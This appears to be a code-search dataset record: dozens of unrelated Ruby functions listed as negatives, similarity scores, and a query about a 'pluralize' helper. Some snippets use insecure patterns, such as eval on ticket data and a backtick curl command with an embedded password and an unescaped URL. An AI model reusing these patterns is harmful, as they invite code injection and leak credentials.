:name => web_bill_to.company,\r\n :street => web_bill_to.address,\r\n :address => \"#{web_bill_to.address}\\n#{web_bill_to.city}, #{web_bill_to.state} #{web_bill_to.zip}\\n#{web_bill_to.country.fedex_code}\",\r\n :city => web_bill_to.city,\r\n :state => web_bill_to.state,\r\n :zip_code => web_bill_to.zip,\r\n :country_region_id => web_bill_to.country.fedex_code\r\n )\r\n @orders.unshift(virtual_order)\r\n end\r\n end", "def map_ticket_hash_to_timeslip(ticket_hash, default_attrs={})\n ticket = Trac2bex::OpenStructWithId.new(ticket_hash)\n ticket.id = ticket.id.to_s\n attrs = {\n \"foreignAppName\" => \"trac\",\n \"foreignAppEntityName\" => \"ticket\",\n \"category.name\" => 'Trac Ticket',\n \"activeForTiming\" => true,\n \"name\" => \"##{ticket.id}: #{ticket.summary}\",\n \"foreignAppImportID\" => \"#{ticket.id}\",\n \"dueDate\" => Time.at(ticket.sprint_end),\n \"createDate\" => Time.now,\n \"comment\" => \"#{ticket.description}\"\n }.merge(default_attrs)\n\n sprint = ticket.sprint\n def sprint.number\n m=self.match(/Sprint (\\d+)/i)\n puts \"m.inspect\"\n m[1]\n end\n \n interpolated_attrs = {}\n attrs.each_pair do |k, v|\n if v.is_a?(String) and (match = v.match(/^%\\{(.*)\\}$/))\n interpolated_attrs[k] = eval(match[1])\n else\n interpolated_attrs[k] = v\n end\n end\n \n timeslip = Trac2bex::Billings::Timeslip.new(interpolated_attrs)\n\n end", "def fetch_events_async(issues)\n i = 0\n threads = []\n\n issues.each_slice(MAX_THREAD_NUMBER) do |issues_slice|\n issues_slice.each do |issue|\n threads << Thread.new do\n issue[\"events\"] = []\n iterate_pages(@client, \"issue_events\", issue[\"number\"]) do |new_event|\n issue[\"events\"].concat(new_event)\n end\n issue[\"events\"] = issue[\"events\"].map { |event| stringify_keys_deep(event.to_hash) }\n print_in_same_line(\"Fetching events for issues and PR: #{i + 1}/#{issues.count}\")\n i += 1\n end\n end\n threads.each(&:join)\n threads = []\n end\n\n # to clear line from prev print\n print_empty_line\n\n Helper.log.info \"Fetching events for issues and PR: #{i}\"\n end", "def send_inline_comment(issues)\n target_files = (git.modified_files - git.deleted_files) + git.added_files\n dir = \"#{Dir.pwd}/\"\n issues.each do |issue|\n location = issue.parent\n filename = location.get(\"name\").gsub(dir, \"\")\n next unless !filtering || (target_files.include? filename)\n line = (issue.get(\"line\") || \"0\").to_i\n message = issue.get(\"message\")\n severity = issue.get(\"severity\")\n if severity_index(severity) >= severity_index(fail_level)\n fail(message, file: filename, line: line)\n elsif severity_index(severity) >= severity_index(comment_level)\n warn(message, file: filename, line: line)\n end\n end\n end", "def get_closed_tickets( session_key, company_id, page_size, page_num)\n response_xml = self.call( :get_closed_tickets, message: {\n arg0: session_key,\n arg1: company_id,\n arg2: page_size,\n arg3: page_num\n })\n response = IssueCentre::Response.parse( response_xml)\n end", "def upload_mbox(source_file)\n msg_num = 0\n begin\n mbox = TMail::UNIXMbox.new(source_file, nil, true)\n print \"opened mbox file #{source_file}\\n\"\n mbox.each_port do |port|\n msg_num += 1\n msg = patch_mail_port(port)\n begin\n if is_mail_message?(msg)\n print \"uploading msg #{msg_num} in #{source_file}\\n\"\n print \"#{mail.subject}\\n\"\n print \"#{mail.date}\\n\"\n if @dry_run\n print msg\n else\n status = upload_with_retries(msg)\n if !status.nil? && !status[1].nil? && status[1][:code] == '201'\n @count += 1\n print \"msg #{msg_num} uploaded\\n\"\n else\n print \"msg #{msg_num} not uploaded\\n\"\n p status\n end\n end\n sleep(0.5)\n else\n print \"msg #{msg_num} is not a mail message\\n\"\n end\n rescue\n print \"could not read/upload msg #{msg_num}\\n\"\n end\n end\n rescue\n print \"#{source_file} is not a unix mbox file\\n\" \n end\n end", "def li_request(n=nil,*_)\n ct = n ? convert_integer(n, \"line count\") : 1\n force_break\n ct.times do \n next_line = get_line\n put_line_paginated(next_line) if next_line\n end\n end", "def index\n # @open_tickets are tickets not assgined to any agent\n # @ip_tickets are in progress tickets\n # @closed_tickets are closed tickets to show in history\n @ip_tickets, @closed_tickets, @open_tickets = current_user.get_tickets\n end", "def sendTally(contents)\n user_email = \"#{@member}@apache.org\"\n pmc = ASF::Committee.find(contents['project'])\n pmc_email = \"#{pmc.mail_list}@apache.org\"\n subject = \"[RESULT]\" + contents['subject']\n last_votes = Hash.new\n votes = contents['votes']\n votes.each { |v|\n last_votes[v['member']] = [v['vote'], v['timestamp']]\n }\n counts=Hash.new(0)\n last_votes.each { |k,v|\n counts[v[0]] += 1\n }\n started = Time.parse votes[0]['timestamp']\n elapsed=(Time.now - started) / (60*60)\n body_text = <<-EOD.gsub(/^ /,'') # Eclipse plugin does not like heredoc squiggle\n Here is the tally of the latest votes from each voter:\n\n #{last_votes.map{ |k,v| \"Member: #{k.ljust(20)} Vote: #{v[0]} Date: #{v[1]}\"}.join(\"\\n\")}\n\n Vote Count\n #{counts.sort_by{|k,v| VALID_VOTES.index(k) || 99}.map{|k,v| \" #{k} #{v.to_s.rjust(5)}\"}.join(\"\\n\")}\n\n Vote started: #{started.to_s[0..9]} Hours elapsed: #{elapsed.to_i}\n EOD\n _body_text body_text # debug\n\n # create the email to the p(pmc)\n mail = Mail.new do\n to pmc_email\n from user_email\n cc user_email\n subject subject\n text_part do\n body body_text\n end\n end\n mail.deliver\nend", "def board_to_block(options = {})\n board_url = fix_url_folder(options[:board_url])\n # skips boxes with a last_updated outside the relevant range (after <= time < before)\n after = options[:after]\n before = options[:before]\n reverse = options[:reverse]\n LOG.info \"TOC Page: #{board_url}\"\n LOG.info \"Checking within #{after.to_s + ' ≤ ' if after}time#{' < ' + before.to_s if before}\" if after || before\n\n board_toc_data = get_page_data(board_url, replace: true, headers: {\"Accept\" => \"text/html\"})\n board_toc = Nokogiri::HTML(board_toc_data)\n\n content = board_toc.at_css('#content')\n board_sections = content.css('.continuity-header')\n\n board_title_ele = content.at_css('tr th')\n board_title_ele.css('.link-box').map(&:remove)\n board_name = board_title_ele.text.strip\n\n chapter_pieces = []\n\n next_url = board_url\n while next_url\n puts \"URL: #{next_url}\"\n board_toc_data = get_page_data(next_url, replace: (next_url != board_url), headers: {\"Accept\" => \"text/html\"})\n board_toc = Nokogiri::HTML(board_toc_data)\n board_body = board_toc.at_css('tbody')\n\n chapter_sections = [board_name]\n\n chapters = board_body.css('tr')\n chapters.each do |chapter_row|\n th = chapter_row.at_css('th')\n next if th && !th.try(:[], :colspan)\n chapter_sections = [board_name] if chapter_row.at_css('td.continuity-spacer')\n next if chapter_row[:colspan]\n next if chapter_row.at_css('td').try(:[], :colspan)\n\n no_post = chapter_row.at_css('.centered.padding-10')\n next if no_post && no_post.text['No posts']\n\n if th\n section_name = th.at_css('a').try(:text).try(:strip)\n if section_name\n chapter_sections = [board_name, section_name]\n else\n LOG.error \"couldn't get section name for th #{th}\"\n end\n next\n end\n\n chapter_link = chapter_row.at_css('td a')\n chapter_title = chapter_link.text.strip\n chapter_url = get_absolute_url(chapter_link['href'], board_url)\n\n if before || after\n chapter_time = chapter_row.at_css('.post-time')\n chapter_time.try(:at_css, 'a').try(:remove)\n chapter_time = chapter_time.try(:text).try(:sub, ' by', '').try(:strip)\n if chapter_time\n chapter_time = Time.zone.parse(chapter_time).to_datetime\n if (after && chapter_time < after) || (before && before <= chapter_time)\n LOG.info \"Skipping #{chapter_title} (outside bounds)\"\n LOG.debug \"#{chapter_title} was at #{chapter_time}\"\n next\n end\n else\n LOG.error \"Failed to find last-update time for chapter #{chapter_title}; assuming allowed\"\n end\n end\n\n chapter_pieces << {url: chapter_url, title: chapter_title, sections: chapter_sections.dup}\n end\n\n next_page = board_toc.at_css('.pagination')&.at_css('a.next_page')\n next_url = (get_absolute_url(next_page[:href].strip, next_url) if next_page)\n end\n\n chapter_pieces.public_send(reverse ? :reverse_each : :each) do |piece|\n details = chapter_from_toc(piece)\n yield details if block_given?\n end\n end", "def fetch_jira_poll_url()\n\n jiraconfig = bot.config['jira_poll_url']\n\n if jiraconfig.is_a?(Array)\n searchurls_str = jiraconfig \n else \n searchurls_str = [jiraconfig]\n end\n\n tix = []\n\n searchurls_str.each do |searchurl_str|\n begin\n @log.info \"checking jira for new issues... #{searchurl_str}\"\n\t# jira_poll_url: \"http://username:password@www.host.com/jira/sr/jira.issueviews:searchrequest-xml/temp/SearchRequest.xml?jqlQuery=project+%3D+OPS+ORDER+BY+updated+DESC%2C+priority+DESC%2C+created+ASC&tempMax=25&field=key&field=link&field=title&field=reporter&field=assignee&field=type&field=priority&field=updated\"\n searchurl = Addressable::URI.parse(searchurl_str)\n @log.debug pp lookupurl.to_hash\n xmldata = open(searchurl.omit(:user, :password), \\\n :http_basic_authentication=>[searchurl.user, searchurl.password]).read\n doc = REXML::Document.new(xmldata)\n raise Exception.new(\"response had no content\") if doc.nil?\n doc.elements.inject('rss/channel/item', tix) do |tix, element|\n tix.push(parse_ticket_info(element))\n end\n rescue Exception => e\n @log.error \"error connecting to jira: #{e.message}\"\n # @log.error \"#{e.backtrace}\"\n end\n end\n return tix\n end", "def get_tags( file , ofile, format )\n File.open( file ) do |f|\n File.open( ofile, 'w' ) do |of|\n while line = f.gets\n #begin\n batch, id, hash, url =* line.split(/\\s+/)\n puts \"#{id}, #{hash}, #{url}\"\n api_url = \"curl https://lifidea:1275dkjy@api.del.icio.us/v1/posts/suggest?url=#{url}\"\n puts api_url\n content = `#{api_url}`#Net::HTTP.get(URI.parse(api_url))\n of.puts \"#{hash}\\t#{content.size}\\t#{url}\"\n #Dir.mkdir(format) if !File.exist?(format)\n File.open( \"tags/#{hash}.#{format}\",'w'){|of2|of2.puts content}\n #rescue Exception => e\n # puts \"Error in [#{line}]\",e\n #end\n sleep(1)\n end\n end\n end\nend", "def next_ticket\n loop do\n ticket_id = pop_blocking\n\n if ticket_id && tag[ticket_id].exists\n return ticket_id\n end\n\n if tag[:blocking_list].llen == 0\n return false\n end\n\n end\n end", "def itemForEmailBody(order_hash, item_hash)\n\t\ttmp_path = File.join(File.dirname(__FILE__), 'orders', order_hash[:order_number])\n\t\tfile_2_path = File.join(tmp_path, item_hash[:file_2])\n\t\t\n\t\tif !File.exist?(file_2_path)\n\t\t\titem_hash[:file_2] = \"none\" \n\t\tend\n\t\t\n\t\titem_body = <<EOM \nItemNum: #{item_hash[:item_number]}<br/>\nFile1: #{item_hash[:file_1]}<br/>\nFile2: #{item_hash[:file_2]}<br/>\nProductCode: #{item_hash[:product_code]}<br/>\nProductName: #{item_hash[:product_desc]}<br/>\nQuantity: #{item_hash[:quantity]}<br/>\nPaper: #{item_hash[:paper]}<br/>\nTrimSize: #{item_hash[:trim_size]}<br/>\nFinalSize: #{item_hash[:final_size]}<br/>\nScore: #{item_hash[:score]}<br/>\nColorProcess: #{item_hash[:color_process]}<br/>\nPickOutItem: #{item_hash[:pick_out_item]}<br/>\nUVCoating: #{item_hash[:uv_coating]}<br/>\nDrill: #{item_hash[:drill]}<br/>\n<br/>\nEOM\n\t\titem_body\n\tend", "def parse_detail(body)\n libraries = []\n\n page = Nokogiri::HTML(body)\n page.css('table[class=summary] tr').each do |tablerow|\n if tablerow.to_s.index(LIBRARY_NOT_CHECKED_OUT) != nil\n # it's at our library, break out of loop\n if @library_branch_location != nil && tablerow.previous_sibling.to_s.index(\"Your Library\") != nil \n return [LIBRARY_MY_STRING]\n end\n\n # it isn't checked out at this location, save library name\n libraries.push tablerow.css('td').first.text\n end\n end\n\n libraries\nend", "def get_tickets(ticket)\n @tickets << ticket\n ticket.passenger ||= self\nend", "def set_ticket_file\n @ticket_file = TicketFile.find(params[:id])\n end", "def package_request_pages\n github_package_requests.each do |issue|\n package_name = issue.title\n\n bitly_link = URI.extract(issue.body).find { |url| url.include?('bit.ly') }\n response = HTTParty.get(bitly_link)\n forum_url = response.request.last_uri.to_s\n forum_html = response.body\n\n yield OpenStruct.new(name: issue.title, forum_url: forum_url,\n forum_html: forum_html)\n end\nend", "def do_it_lines\n open(file_name).each {|x| p x; }\n end", "def file_report(problems, file_set_label)\n return if problems.values.first.empty?\n\n file = problems.keys.first\n problem_list = problems.values.first\n message = line\n message << file_header(file)\n message << file_set_header(file_set_label)\n message << problems_header(problem_list)\n\n message << \"#\\n\"\n message << line\n\n puts message\n end", "def send_gmail_to_listing(username, password, subject_text, worksheet_key, html_path, image_path)\n # Connect to gmail and puts\n # username and password are parameters you will input as argument on command line\n gmail = Gmail.connect(username, password)\n puts \"Gmail login\"\n\n # Call the go_through_all_the_lines function wich returns all the emails in an array\n email_listing = go_through_all_the_lines(worksheet_key)\n\n # Iterate through all the emails\n email_listing.each do |email|\n # For each email send mail to email\n gmail.deliver do\n to email\n # subject_text variable is a parameter you will input as argument on command line\n subject subject_text\n # Send the content in the email as html\n html_part do\n content_type 'text/html; charset=UTF-8'\n # Call the get_email_html function to get the body content\n body get_email_html(html_path)\n end\n # Call the get_email_image function to add an image to the email\n add_file get_email_image(image_path)\n end\n # Puts a message on console when the email is successfully sent\n puts \"Email successfully sent to #{email}\"\n end\n # Call the save_to_file function to save the output in a text file\n save_to_file(email_listing)\n # Log out of gmail and puts\n gmail.logout\n puts \"Gmail logout script finished\"\n\nend", "def get_hfi_tickets\n @tickets = Ticket.find_all_by_job_id_and_paid_to_hfi(params[:id], false, :order => \"number\")\n render \"get_tickets.html.erb\"\n end", "def sync\n imap = imap_login\n imap.search([\"NOT\", \"SEEN\"]).each do |message_id|\n envelope = imap.fetch(message_id, \"ENVELOPE\")[0].attr[\"ENVELOPE\"]\n puts \"#{envelope.from[0].name}: \\t#{envelope.subject}\"\n\n # TODO right now we are hardcoding the regex's which are used in matching\n # and extracting data out of the incoming mail, at some point this\n # should be customizable by the end user\n\n # TODO we are assuming that all messages matching the criteria retrieved\n # from this imap account belong to this mailing list\n\n # handle subscription confirmation\n if envelope.subject =~ /^\\s*confirm\\s*([a-f0-9]*)\\s*$/\n puts \"confirm subscription #{$1}\"\n smtp = smtp_login\n message = message_for :address => request_address, :subject => \"confirm #{$1}\", :body => \"confirm #{$1}\"\n smtp.send_message message, @smtp_username, request_address\n smtp.finish\n\n # handle received patches\n elsif envelope.subject =~ /^\\s*\\[PATCH[^\\]]*\\]\\s*#([0-9]*).*$/i\n puts \"Received patch #{$2}\"\n puts \" Associating w/ issue ##{$1}\"\n\n issue = Issue.find $1\n patch = Patch.new :issue_id => issue.id,\n :mailing_list_id => self.id,\n :message_id => envelope.headers['Message-Id'],\n :subject => $2,\n :content => envelope.body\n patch.save!\n\n issue.status = IssueStatus.find_by_name(\"In Progress\")\n issue.save!\n\n # handle chained patches (first one may be the only one w/ the issue id)\n elsif envelope.subject =~ /^\\s*\\[PATCH[^\\]]*\\].*$/i\n # TODO handle multiple levels of patch replies\n parent_message_id = envelope.headers['In-Reply-To']\n parent_patch = Patch.find_by_message_id(parent_message_id)\n\n puts \"Received chained patch #{$2}\"\n puts \" Associating w/ issue ##{parent_patch.issue_id} (parent patch ##{parent_patch.id})\"\n\n patch = Patch.new :issue_id => parent_patch.issue_id,\n :mailing_list_id => self.id,\n :patch_id => parent_patch.id,\n :message_id => envelope.headers['Message-Id'],\n :subject => $2,\n :content => envelope.body\n\n patch.save!\n\n issue.status = IssueStatus.find_by_name(\"In Progress\")\n issue.save!\n\n # handle received patch comments\n elsif envelope.subject =~ /^\\s*RE:\\s*\\[PATCH[^\\]]*\\]\\s*#([0-9]*).*$/i\n # TODO handle multiple levels of replies\n parent_message_id = envelope.headers['In-Reply-To']\n parent_patch = Patch.find_by_message_id(parent_message_id)\n\n puts \"Received response to patch #{$2}\"\n puts \" Associating w/ patch ##{parent_patch.id}\"\n\n patch_comment = PatchComment.new :patch_id => parent_patch.id,\n :message_id => envelope.headers['Message-Id'],\n :content => envelope.body\n\n status = if envelope.body =~ /.*NACK.*/i\n IssueStatus.find_by_name(\"Rejected\")\n elsif envelope.body =~ /.*ACK.*/i\n IssueStatus.find_by_name(\"Resolved\")\n else\n IssueStatus.find_by_name(\"Feedback\")\n end\n\n issue.status = status\n issue.save!\n end\n\n\n end\n end", "def sc_recorders(file_base, interval, limit)\n recs = []\n\n # Real power loss recorders\n loss_types = {\n 'overhead_line' => 'OHL',\n 'underground_line' => 'UGL',\n 'triplex_line' => 'TPL',\n 'transformer' => 'TFR'\n }\n loss_types.each do |ltype, abbrev|\n # Only set up recorders for classes that actually exist in the feeder\n # (Specifically, R3_1247_2 doesn't have any triplex_lines,\n # and trying to record on class=triplex_line crashes GridLAB-D)\n if @lines.detect {|line| line.is_a?(GLMObject) && line[:class] == ltype}\n recs << new_obj({\n class: 'collector',\n group: \"\\\"class=#{ltype}\\\"\",\n property: 'sum(power_losses.real),sum(power_losses.imag)',\n interval: interval,\n limit: limit,\n file: file_base + abbrev + '_losses.csv'\n })\n end\n end\n\n # Aging_Transformer loss of life and replacements\n # All we really care about is these values at the end of the run,\n # so we'll only collect them once a day to save space\n xfmr_props = {\n 'percent_loss_of_life' => 'pct_lol',\n 'transformer_replacement_count' => 'replacements'\n }\n xfmr_props.each do |prop, abbrev|\n recs << new_obj({\n class: 'group_recorder',\n group: \"\\\"groupid=#{AGING_GROUPID}\\\"\",\n property: prop,\n interval: DAY_INTERVAL,\n limit: limit,\n file: file_base + 'xfmr_' + abbrev + '.csv'\n })\n end\n\n # Also collect power profiles for Aging_Transformers so we\n # can have some sense of why we're seeing what we're seeing\n recs << new_obj({\n class: 'group_recorder',\n group: \"\\\"groupid=#{AGING_GROUPID}\\\"\",\n property: 'power_in',\n complex_part: 'MAG',\n interval: interval,\n limit: limit,\n file: file_base + 'xfmr_va.csv'\n })\n\n # Tap-change recorders\n find_by_class('regulator').each do |reg|\n recs << new_obj({\n class: 'recorder',\n parent: reg[:name],\n property: 'tap_A_change_count,tap_B_change_count,tap_C_change_count,tap_A,tap_B,tap_C,power_in_A.real,power_in_A.imag,power_in_B.real,power_in_B.imag,power_in_C.real,power_in_C.imag,power_out_A.real,power_out_A.imag,power_out_B.real,power_out_B.imag,power_out_C.real,power_out_C.imag,current_in_A.real,current_in_A.imag,current_in_B.real,current_in_B.imag,current_in_C.real,current_in_C.imag,current_out_A.real,current_out_A.imag,current_out_B.real,current_out_B.imag,current_out_C.real,current_out_C.imag',\n interval: interval,\n limit: limit,\n file: file_base + reg[:name][-5..-1] + '.csv'\n })\n end\n\n # Record voltage at the point of use, which conveniently is always\n # a triplex_meter\n recs << new_obj({\n class: 'group_recorder',\n group: 'class=triplex_meter',\n property: \"voltage_12\",\n complex_part: 'MAG',\n interval: interval,\n limit: limit,\n file: file_base + 'v_profile_12.csv'\n })\n\n # Record total PV output, if there is any SC solar to record\n if find_by_class('house').any? {|h| h.nested.any? {|n| n[:groupid] == SC_GROUPID }}\n recs << new_obj({\n class: 'collector',\n group: \"\\\"class=ZIPload AND groupid=#{SC_GROUPID}\\\"\",\n property: 'sum(actual_power.real)',\n interval: MINUTE_INTERVAL,\n limit: limit,\n file: file_base + 'sc_gen.csv'\n })\n end\n\n # Record aggregate SC storage stats, if there's any storage\n unless find_by_four_quadrant_control_mode(SC_CONTROL_MODE).empty?\n recs << new_obj({\n class: 'collector',\n group: \"\\\"class=inverter\\\"\",\n property: 'sum(sc_dispatch_power),avg(battery_soc),std(battery_soc),min(battery_soc),max(battery_soc)',\n interval: MINUTE_INTERVAL,\n limit: limit,\n file: file_base + 'sc_storage.csv'\n })\n end\n\n # Record capacitor switch states, if any\n caps = find_by_class('capacitor')\n unless caps.empty?\n\n prop = caps.map do |cap|\n PHASES.map do |ph|\n \"#{cap[:name]}:switch#{ph}\"\n end\n end.flatten.join ','\n\n recs << new_obj({\n class: 'multi_recorder',\n property: prop,\n interval: interval,\n limit: limit,\n file: file_base + 'cap_switch.csv'\n })\n end\n\n recs\n end", "def show\n if params[:email_thread]\n @email_thread = EmailThread.find(params[:email_thread])\n elsif session[:id]\n @summary = Summary.find(session[:id])\n @email_thread = @summary.email_thread\n else\n flash[:notice] = \"You are logged out.\"\n redirect_to(:controller => '/account', :action => 'login')\n return\n end\n @emails = []\n email_count = 0\n for email in @email_thread.myemails\n email_count+=1\n s = email.Body\n #Keep track of tag beginning and ending\n open = false\n count = 1\n while s.include? \"^\"\n if !open\n case params[:control]\n when 'read' , 'sum' , 'show'\n s[s.index(\"^\"),1] = sent(email_count, count)\n when 'label'\n s[s.index(\"^\"),1] = label(email_count, count)\n end\n open = true\n count += 1\n else\n s[s.index(\"^\"),1] = '</div></div>'\n open = false\n end\n end\n s.gsub! \"/-\\\\\", \"^\"\n @emails << email\n end\n #Render correct action\n case params[:control]\n when 'read'\n render :action => 'read'\n when 'sum'\n render :action => 'sum'\n when 'label'\n render :action => 'label'\n when 'show'\n render :action => 'show'\n end\n end", "def printer(attendees)\nbatch_badge_creator(attendees).each_with_index do |badges|\n puts badges\nend\nassign_rooms(attendees).each_with_index do |room_assignments|\n puts room_assignments\nend\nend", "def body\n lines = ''\n in_head = true\n File.open(@file).each_line do |line|\n in_head = false if in_head and line.chomp.empty?\n lines << line unless in_head\n end\n return lines\n end", "def add_jira_tickets_to_omnifocus ()\n # Get the open Jira issues assigned to you\n results = Issue.query_results\n if results.nil?\n puts \"No results from Jira\"\n exit\n end\n puts \"\\\"#{QUERY}\\\" returned #{results.size} results from #{JIRA_BASE_URL}\"\n\n # Iterate through resulting issues.\n results.each do |jira_id, issue|\n jira_issues[jira_id] = issue # cache results\n add_task(issue)\n end\nend", "def complete\n completed_ticket = vapi.complete(ticket_id, filename)\n \n end", "def get_issue_from_cover_page(cover_page)\r\n unless @login_success\r\n login\r\n end\r\n cover_image = cover_page.at(\".issue-image > img\")\r\n issue_id = id_from_href(cover_page.uri.path)\r\n issue = Issue.new(issue_id, \"The Economist\" ,cover_image['title'])\r\n issue.publisher = \"The Economist Newspaper Ltd.\"\r\n issue.cover_image = Image.new(cover_image['src'], \"cover.jpg\")\r\n\r\n puts \"Creating Kindle version of Issue \" + issue.to_s\r\n puts \"\"\r\n article_ids = []\r\n cover_page.search(\".section\").each do |s_element|\r\n section = Section.new(s_element.at(\"h4\").inner_html)\r\n s_element.search(\".article\").each do |a_element|\r\n link = a_element.at(\".node-link\")\r\n href = link[\"href\"]\r\n title = link.text\r\n article = Article.new(id_from_href(href), title, href)\r\n article_ids << id_from_href(href)\r\n section << article\r\n end\r\n issue << section\r\n end\r\n\r\n puts \"Downloading and processing articles:\"\r\n STDOUT.flush\r\n all_articles = issue.articles\r\n progress = ProgressBar.new(\"Downloading\", all_articles.length)\r\n all_articles.each_with_index do |article, done|\r\n\r\n article_page = @agent.get article.uri.to_s\r\n\r\n # get topic of article (its hard easier to extract than from the cover page)\r\n topic = article_page.at(\".fly-title\").text\r\n\r\n # the article abstract (curiously marked up as h1)\r\n if article_page.at(\"h1.rubric\")\r\n article.abstract = article_page.at(\".rubric\").text\r\n end\r\n\r\n # now the article content\r\n c_element = article_page.at(\".ec-article-content\")\r\n\r\n # lets get rid of the related items box\r\n c_element.search(\".related-items\").remove\r\n\r\n # lets get rid of the related items box\r\n c_element.search(\".related-expanded\").remove\r\n\r\n # replace links with local references\r\n c_element.search(\"a\").each do |a|\r\n if a['href'] && a['href'].start_with?(\"http://www.economist.com/node/\") &&\r\n article_ids.include?(id_from_href(a['href']))\r\n a[\"href\"] = a[\"href\"].gsub(\"http://www.economist.com/node/\", \"\") + \".html\"\r\n end\r\n end\r\n\r\n c_element.search(\"p\").each do |p|\r\n if p.children.first && p.children.first.name == \"strong\"\r\n p.swap(\"<h4>\"+p.children.first.text+\"</h4>\")\r\n end\r\n end\r\n\r\n # download the article images\r\n images = c_element.search(\"img\")\r\n images.each do |img|\r\n image = Image.new(img[\"src\"])\r\n img[\"src\"] = image.rel_path\r\n article.images << image\r\n end\r\n\r\n article.content = c_element.inner_html\r\n article.topic = topic if topic.strip != \"\"\r\n progress.inc\r\n end\r\n progress.finish\r\n puts ''\r\n issue\r\n end", "def set_ticket_loop\n @ticket_loop = TicketLoop.find(params[:id])\n end", "def get_all_testcases()\n print \"\\n--------------------------------------------------------\\n\"\n print \"05) Getting all TestRail testcases in project '#{$my_testrail_project}'...\\n\"\n\n # Get all TestCases in each suite...\n tot_tc = 0\n @tr_testcases_per_suite = Array.new # each element is all testcases in a suite\n @tr_suites.each_with_index do |this_suite,index_suite|\n uri = \"get_cases/#{@tr_proj_info['id']}&suite_id=#{this_suite['id']}\"\n begin\n all_cases = @tr_con.send_get(uri)\n rescue Exception => ex\n print \"\\tEXCEPTION occurred on TestRail API 'send_get(#{uri})':\\n\"\n print \"\\t#{ex.message}\\n\"\n print \"\\tFailed to get TestRail testcases for suite '#{this_suite['id']}'\\n\"\n exit ERR_EXIT_TESTCASES\n end\n print \"\\tFound '#{all_cases.length}' testcases in suite '#{this_suite['id']}'\\n\"\n @tr_testcases_per_suite.push(all_cases)\n tot_tc += all_cases.length\n end\n print \"\\tTotal: '#{tot_tc}' testcases found.\\n\"\n\n # Step through all suites...\n tots=0\n @tc_titles = Hash.new # Has of Rally-ObjectID >> [Rally-FormattedID, TestRail-ID, TestRail-Title]\n @tr_testcases_per_suite.each_with_index do |this_tcset, index_tcset|\n # Step through all TestCases in this suite...\n this_tcset.each_with_index do |this_case, index_case|\n # Save only TestCases which have a populated custom field 'RallyObjectID'...\n if !this_case['custom_rallyobjectid'].nil?\n @tc_titles[this_case['custom_rallyobjectid']] = [this_case['custom_rallyformattedid'], this_case['id'], this_case['title']]\n tots += 1\n end\n end\n end\n print \"\\tFound '#{tots}' testcases linked to Rally\\n\"\nend", "def preload_tickets\n @tickets = if params[:story_id]\n Story.find(params[:story_id]).tickets\n else\n Sprint.find(params[:sprint_id]).tickets\n end\n end", "def process_feed(fname, channel, offset, etype)\r\n p \"Channel: #{channel} | URL: #{fname}\"\r\n schedule = ICS::Event.file(open(fname)) rescue nil\r\n schedule.map {|cal| process_event(cal, channel, offset, etype) } if schedule\r\n end", "def deliver_rts email, documents, mail_to\n logger.info \"Sending response mail to #{mail_to}\"\n mail = Mail.new\n mail.from @cfg[:from]\n mail.to mail_to\n # CCs to the original email will get a copy of the converted files as well\n mail.cc (email.cc - email.to - (@cfg[:cc_blacklist]||[]) ) if email.cc # Prevent autoheathen infinite loop!\n # Don't prepend yet another Re:\n mail.subject \"#{'Re: ' unless email.subject.start_with? 'Re:'}#{email.subject}\"\n # Construct received path\n # TODO: is this in the right order?\n #rcv = \"by localhost(autoheathen); #{Time.now.strftime '%a, %d %b %Y %T %z'}\"\n #[email.received,rcv].flatten.each { |rec| mail.received rec.to_s }\n mail.return_path email.return_path if email.return_path\n mail.header['X-Received'] = email.header['X-Received'] if email.header['X-Received']\n documents.each do |doc|\n next if doc[:content].nil?\n mail.add_file filename: doc[:filename], content: doc[:content]\n end\n cfg = @cfg # stoopid Mail scoping\n me = self # stoopid Mail scoping\n mail.text_part do\n s = Haml::Engine.new( me.read_file cfg[:text_template] ).render(Object.new, to: mail_to, documents: documents, cfg: cfg)\n body s\n end\n mail.html_part do\n content_type 'text/html; charset=UTF-8'\n s = Haml::Engine.new( me.read_file cfg[:html_template] ).render(Object.new, to: mail_to, documents: documents, cfg: cfg)\n body s\n end\n mail.delivery_method :smtp, address: @cfg[:mail_host], port: @cfg[:mail_port]\n deliver mail\n end", "def get_ticket(ticket)\n @tickets << ticket\nend" ]
[ "0.61876667", "0.5540164", "0.53832775", "0.5038448", "0.49030867", "0.47823453", "0.47660002", "0.47210208", "0.46933335", "0.46853894", "0.46736747", "0.4673664", "0.45883363", "0.45359203", "0.4525512", "0.4515053", "0.4487482", "0.44786972", "0.4473849", "0.44706592", "0.44652346", "0.4458468", "0.44545436", "0.44519264", "0.44028714", "0.4394228", "0.43647963", "0.43593797", "0.43439135", "0.4336094", "0.4333345", "0.43299562", "0.43180227", "0.43110433", "0.43081868", "0.4304276", "0.43034628", "0.43031037", "0.42917675", "0.42800787", "0.42800757", "0.4275403", "0.42698914", "0.42651623", "0.42641848", "0.4249873", "0.42485946", "0.42484412", "0.42468405", "0.42397785", "0.42371884", "0.42365113", "0.42324987", "0.4231192", "0.42164767", "0.42148125", "0.42146152", "0.42012677", "0.41987637", "0.41973853", "0.4193972", "0.41905424", "0.41671696", "0.41621575", "0.4156014", "0.41501862", "0.41305837", "0.41298887", "0.41282606", "0.4115246", "0.41124347", "0.4106089", "0.41060555", "0.40947202", "0.40925243", "0.40884647", "0.4083098", "0.40825525", "0.4081175", "0.4081166", "0.4077688", "0.40771115", "0.4073943", "0.40596008", "0.40529287", "0.40486988", "0.40455872", "0.4044906", "0.40429404", "0.40429172", "0.40396416", "0.40313205", "0.40310898", "0.40300077", "0.40226543", "0.40198416", "0.40166968", "0.401177", "0.40085924", "0.4004799" ]
0.7760518
0
FUNCTION: pluralize PURPOSE: Add the pluralize PARAMETERS: word: The word to check if we need to add plural of not nb: Number to identify plural RETURNS: Current string with adjustment on plural word
def pluralize(word, nb) if (nb > 1) return "#{word}s" else return "#{word}" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
